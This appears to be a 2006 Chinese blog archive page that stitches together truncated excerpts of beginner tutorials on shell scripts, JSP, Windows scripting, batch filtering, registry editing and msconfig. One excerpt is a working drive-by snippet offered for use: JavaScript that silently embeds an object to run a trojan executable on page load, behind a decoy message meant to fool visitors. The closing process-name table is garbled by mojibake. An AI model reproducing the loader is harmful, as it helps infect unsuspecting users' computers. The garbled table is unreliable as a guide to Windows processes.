新博客地址:hi.baidu.com/evilcwa
Shell脚本初学者的入门知识(2006-06-08 00:36)
信息来源:www.chinaitlab.com
1.建立和运行shell程序
什么是shell程序呢? 简单的说shell程序就是一个包含若干行
shell或者linux命令的文件.
象编写高级语言的程序一样,编写一个shell程序需要一个文本编辑器.如VI等.
在文本编辑环境下,依据shell的语法规则,输入一些shell/linux命令行,形成一个完整
的程序文件.
执行shell程序文件有三种方法
(1)#chmod +x file(在/etc/profile中,加入export
PATH=${PATH}:~/yourpath,就可以在命令行下直接运行,像执行普通命令一样)
(2)#sh file
(3)# . file
(4)#source file
在编写shell时,第一行一定要指明系统需要那种shell解释你的shell程序,如:#! /bin/bash,
#! /bin/csh,/bin/tcsh,还是#! /bin/pdksh .
2.shell中的变量
(1)常用系统变量
$ # :保存程序命令行参数的数目
$ ? :保存前一个命令的返回码
$ 0 :
网页打开后自动执行木马(2006-06-08 00:36)
来源:冰点
lcx
<script language='javascript'>
run_exe='<OBJECT ID=\'RUNIT\' WIDTH=0 HEIGHT=0
TYPE=\'application/x-oleobject\''
run_exe+='CODEBASE=\'muma.exe#version=1,1,1,1\'>'
//这里的muma.exe就是我们要运行的程序
run_exe+='<PARAM NAME=\'_Version\' value=\'65536\'>'
run_exe+='</OBJECT>'
run_exe+='<HTML><H1>等会......网页在下载支持的文件</H1></HTML>';
//这里是迷惑人的.你可以写其他任何东西.
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
JSP基础教程1(2006-06-08 00:36)
信息来源:www.cn-media.com
熟悉JSP服务器
本“JSP由浅入深”
系列教程是面向中级和高级用户的,它需要HTML和Java的基础。你应该会将HTML网页连接到一起,并且会利用Java来进行编程。如果你还没有这个基础,建议你还是先打好基础为好。这个系列教程将通过编制简单的例子到复杂的例子来教会你JSP。本系列教程是采用循序渐进的方法来进行阐述的,即由浅入深。为了使你能够获得最大的进步,建议你再学习的过程中将所有的例子自己进行调试。开始的例子可能会很简单,所以开始的时候你要特别耐心,不要认为太简单而跳过。如果你仔细地调试例子,那么你就会很快地熟悉JSP的本质方法。
好吧,开始我们的第一个教程:熟悉JSP服务器。
如果你没有一个JSP网络服务器,那么你在开始教程之前还是先下载它吧。以下的几个服务器可以免费下载或者进行开发:
Blazix (1.5 Megabytes, JSP, Servlets and EJBs)
来自
写给新手window脚本的入门(2006-06-08 00:36)
信息来源:岁月联盟
首先,windows脚本语言也是一种编程语言,也有自己专门的命令词汇、规范、用法。要只按照自己的要求把命令写进去,那么windows就会直接执行。只不过想对于java
c++之类的编程语言它就要简单的多了
windos脚本也有不同的语言 如:VBScritp、JScript 它们都内嵌在windows中,不需要安装,可以直接使用
还有现在比较流行的Python 比较强大的Perl等
windows脚本的最大好处就是用记事本就可以编写,而且可以立即看到效果,还有就是因为其本身就是源代码,拿到就可以随意修改,对于学习来说也更方便
windows脚本宿主,称呼为WSH。它是一个windows管理工具,能给.VBS、.JC等脚本提供一个特殊的外部运行环境。也就是说,当我们运行VBS文件的时候
WHS会为之创建一个对象,平按脚本内的语言指令执行操作。
所有的编程软件的第一步都是教给新手们怎么写“Hello World!” 当然我们也不能脱俗了
WScript.Echo 'Hello World!' WScript.Echo就是显示,也就是说让电脑为我们显示Hello
World!当然了把要显示的句子包括在英文的引号中,要不电脑就会分不清哪些是你要显示的
现
bat过滤任意字符(2006-06-08 00:36)
来源:315安全网络
早在写 bat的一个小游戏猜数字的时候我就研究过这个问题 如何在bat里面实现 对输入的任意字符进行过滤
当时使用的几种方法如下
Codz:
if '%1'=='要过滤的字符' echo 你输入的是非法字符
例: if '%1'=='wrongpassword' echo 错误口令
set errorlevel=0
echo 要过滤的字符|find '要过滤的字符'
if '%errorlevel%'=='0' echo 你输入的是是非法字符
if '%errorlevel%'=='1' echo 该字符串不在非法列表中
主要是使用这两种方法 这两种方法可以过滤数字 和 英文字母 但是 对 特殊字符 不起作用
当要过滤【_+|-=\[]{};':,./'>~`!@#$%^&*()_+|-=\[]{};':,./<>?
】(包含空格和tab键值)的时候 我们要这样
Codz:
echo 'anyword'|find 'anywrod'
注意到有什么不同了吗 是的 我们加入了''来包含anyword 可是过滤到此并没完成 发现上面要过滤的字符 少了什么吗 是的 少了'
字符本身 遗憾的是 这种方法 无法完美的过滤'字符本身 当' 取值 为奇数 和 偶数的 时候 用find对她进行
过滤
一步一步教你用JS和INF编辑注册表(2006-06-08 00:36)
信息来源:http://tech.sina.com.cn/s/s/2005-01-04/1026493612.shtml
文/小军
JScript小知识:JScript是一种解释型的、基于对象的脚本语言。尽管与C++这样成熟的面向对象的语言相比,JScript的功能要弱一些,但对于它的预期用途而言,JScript的功能已经足够大了。JScript程序是语句的集合,一条Jscript语句相当于英语中的一个完整句。Jscript语句将表达式组合起来,完成一个任务。一条语句由一个或多个表达式、关键字或者运算符(符号)组成。典型地,一条语句写一行,尽管一条语句可以超过两行或更多行。两条或更多条语句也可以写在同一行上,语句之间用分号“;”隔开。通常,每一新行开始一条新语句,分号(;)是JScript语句的终止字符。
一、用JS编辑注册表
事实上,JS的主体和VBS文件差不多,就是结构有一点不同而已!所以我们就不多说了。下面是个用JS编辑注册表的简单例子:
v
走进系统文件夹Win9X/Me篇(2006-06-07 15:43)
我们每天都在使用Windows,可你对它的系统文件夹熟悉吗?据说目前Windows9X仍然有很多用户,而Windows
Me和Windows9X又很相近。这里就带你走进Windows 9X/Me主要的系统文件夹,将它们看个通透。
首先需要明确一个概念,“系统文件夹”指的是存放操作系统主要文件的文件夹,一般在安装操作系统过程中自动创建并将相关文件放在对应的文件夹中,这里面的文件直接影响系统的正常运行,多数都不允许随意改变。
Command
该文件夹内有很多DOS下的外部命令程序,这些小工具在系统崩溃对于系统的修复很有用,如Bootdisk.Bat文件可以用于在DOS命令行上创建启动盘。
Cookies
“甜饼”文件夹,存放用户浏览某些网站时由网站在你的硬盘上创建的一些个人资料,如用户名、所到过的网址等。
Desktop
桌面文件夹,存放于该文件夹内的文件将直接显示在桌面上。
Downloaded Program Files
存放IE下载文件的文件夹。其中包含了显示已打开过的Web页所需的文件(大部分文件用来运行Web页面上的动画)。注意:这并不是你下载的软件必须放置的文件夹。
用Msconfig设置启动项(2006-06-07 15:43)
丫丫最近向豆仔大吐苦水,安装了某个软件后,每次启动计算机它都会自动运行,像“跟屁虫”一样,烦得不行了,差点一怒之下重装系统了!怎么禁止这些程序自动运行啊?
要解除此类软件在安装时自动加载到启动项的程序,我们一般可以通过修改注册表或Msconfig(系统配置实用程序)来关闭自启动的程序。修改注册表的方式略有难度,而且也有风险,不太适合初学者。下面来看看如何在Msconfig中设置启动项。
一、运行Msconfig
1.Windows 9X/Me/XP
在Windows
9X/Me/XP系统中,可以单击“开始→运行”,在运行框中输入“Msconfig”(输入时不用输入双引号,下同)确定运行,在打开的系统配置实用程序窗中选择“启动”标签,此时便可看到很多的启动项目。
2.Windows 2000
而在Windows 2000这个功能被禁止了,但我们可以通过“借用”的手段把Windows
XP的Msconfig文件借过来。可将C:\WINDOWS\PCHEALTH\HELPCTR\Binaries目录下的Msconfig拷贝至
Windows 2000目录中。
二、默认的启动项目
启动项目中,不同系统不同用户不会相同,初学者怎样弄明白这些启动项目的用处呢?
进程
进程名描
smss.exeSession燤anager
csrss.exe 子系统肺衿鹘程
winlogon.exe管理用户登
services.exe昂很多系统服务
lsass.exe 管 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。
svchost.exe Windows 2000/XP 的文件保护系统
SPOOLSV.EXE 轿募加载到内存中以便迟后打印。)
explorer.exe资源管理
internat.exe托盘堑钠匆敉急)
mstask.exe允许程序在指定时间运行
regsvc.exe允许远程⒉岜聿僮鳌(系统服务)->remoteregister
winmgmt.exe 提供系统管理信(系统服务)。
inetinfo.exemsftpsvc,w3svc,iisadmn
tlntsvr.exe tlnrsvr
tftpd.exe 实 TFTP Internet 标准。该标准不要求用户名和密码。
termsrv.exe termservice
dns.exe 应答对域孟低(DNS)名称的查询和更新请求。
tcpsvcs.exe